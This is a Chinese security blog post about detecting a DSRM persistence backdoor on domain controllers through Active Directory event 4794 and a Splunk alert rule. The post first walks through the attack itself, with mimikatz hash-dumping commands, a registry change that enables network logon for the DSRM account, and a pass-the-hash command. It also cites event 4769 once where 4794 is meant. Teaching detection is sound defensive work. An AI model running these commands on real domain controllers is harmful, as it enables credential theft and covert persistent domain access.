首页 > 其他分享 >基于AD Event日志实时检测DSRM后门

基于AD Event日志实时检测DSRM后门

时间:2023-01-09 19:46:13浏览次数:41  
标签:Hash AD 密码 mimikatz 管理员 time DSRM Event

01、简介

每个域控制器都有一个目录还原模式(DSRM)帐户,它的密码是在安装域控时设置的,实际上它对应的就是sam文件里的本地管理员“administrator”,基本很少会被重置,因此有着极强的隐蔽性。攻击者通过获取域控的DSRM密码,就可以使用帐户通过网络登录到域控服务器,从而达到权限维持的目的。

域内权限维持的方式有很多,每增加一条安全检测规则,就多一层安全保障。针对DSRM后门,基于AD Event日志能够帮助我们提供什么维度的检测,我们通过一个后门利用实例来看一下。

02、利用方式

(1)获取域内用户Hash

使用mimikatz查看域内用户test的NTLM Hash。

mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch /name:test

(2)将DSRM帐户和域用户的NTLM Hash同步

使用DSRM的密码和指定域用户test的密码进行同步,在命令行环境中使用ntdsutil工具重置DSRM管理员密码。

(3)抓取DSRM密码

因同步域内用户test的NTLM Hash,可以发现,DSRM Hash 和域用户test的NTLM Hash一致。

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam

(4)修改DSRM登录方式

DSRM 有三种登录方式,具体如下:

0:默认值,只有当域控制器重启并进入 DSRM 模式时,才可以使用 DSRM 管理员账号1:只有当本地 AD、DS 服务停止时,才可以使用 DSRM 管理员账号登录域控制器2:在任何情况下,都可以使用 DSRM 管理员账号登录域控制器

如果要使用 DSRM 账号通过网络登录域控制器,需要将该值设置为 2。

修改注册表:

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2

(5)使用DSRM远程登录

在域成员服务器上使用DSRM进行远程登录,注意domain使用域控的主机名。

mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:administrator /domain:win-dc01 /ntlm:44f077e27f6fef69e7bd834c7242b040

03、攻击检测

当攻击者尝试重置DSRM管理员密码或是指定域内用户NTLM Hash同步时,都会生成4769事件,因此可以实时监控4794事件,一旦攻击者尝试修改DSRM密码就会触发告警。

4794事件:每次更改目录还原模式(DSRM)管理员密码时,就会生成此事件,包含SID和帐户名,以及调用方工作站。

安全规则:

index=ad  EventCode=4794 | stats count earliest(_time) AS start_time latest(_time) AS end_time  by dest user| eval start_time=strftime(start_time,"%Y-%m-%d %H:%M:%S")| eval end_time=strftime(end_time,"%Y-%m-%d %H:%M:%S") | eval message="在"+start_time+"到"+end_time+"时间内,域控服务器:"+dest +" 疑似DSRM域后门行为,试图设置目录服务还原模式管理员密码"+count+"次,操作账号:"+user| table start_time end_time user message

安全告警效果如下图:

 

标签:Hash,AD,密码,mimikatz,管理员,time,DSRM,Event
From: https://www.cnblogs.com/xiaozi/p/17033194.html

相关文章

  • OpenHarmony开发08 —— 复现A1 thread
    OpenHarmony开发08——复现A1thread技术文档:applications/BearPi/BearPi-HM_Nano/sample/A1_kernal_thread/README.md·小熊派开源社区/BearPi-HM_Nano-Gitee.com......
  • P8932 [JRKSJ R7] Clock Paradox 题解
    在洛谷上阅读Part0题意简述原题这场月赛我唯一AC的题给出一个字符串\(S\),令\(T=S\),求使用\(S\)的子串插入\(T\),将\(T\)变形的最少的操作次数。且字符串\(S\)......
  • SimpleAdmin手摸手教学之:请求代理
    一、前言在之前使用其他admin的时候,经常会有人再部署的时候会遇到这么一个问题:明明在生产环境中配置了后端的api地址,但是通过nginx部署之后,请求的确是本地的地址。这是因......
  • react 表单之upload上传 校验
    import*asReactfrom'react';importstylesfrom'./VideoEdit.module.scss';import{IVideoEditProps}from'./IVideoEditProps';import{Button,Form,Inp......
  • SimpleAdmin手摸手教学之:国密加密
    一、什么是国密加密二、国密实现本系统实现了国密SM2和SM4加解密,可以在SimpleAdmin.Core下的Utils->Cryptogram文件夹下找到。2.1SM2Sm2加解密需要配置公钥和私钥,在......
  • 线程数据共享与安全-ThreadLocal
    1.ThreadLocal作用在一个线程中,线程安全的共享数据(实现在同一个线程中共享数据,从而解决多线程数据安全的问题)分析:1.数据:可以是普通变量,对象,数组等。(在一个线程中)一个数据......
  • git add command All In One
    gitaddcommandAllInOnegitadd.VSgitadd-A#不包含上一层级,仅包含本层级和子层级的所有文件✅$gitadd.#包含上一层级,也包含本层级和子层级的所有文......
  • 调用CAD快捷键和命令时为什么会提示未知命令?
    CAD设计过程中,为了提高绘图效率,少不了要用到各种常用的CAD快捷键和命令,可是为什么在调用某些常用CAD快捷键和命令时会提示未知命令呢?下面就和小编一起来看看吧!1、部分命令......
  • CAD常用命令:附着命令(ATTACH)
    本节CAD教程给大家分享CAD常用命令之附着命令(ATTACH)的相关使用技巧,对此感兴趣的设计师小伙伴可以和小编一起来简单了解一下此CAD常用命令哦~浩辰CAD软件中附着命令(ATTACH)......
  • 【运营团队-第3小组】 Best grade
    机智又勇敢的第三小组登场啦!(掌声在哪里)下面由我为大家介绍:我们的小组成员啦!林鹤连先生曾说:“要我说女孩子呀,各有各的漂亮法。有的眉目清泠,像是一整季的雪水都融在了她的眼睛......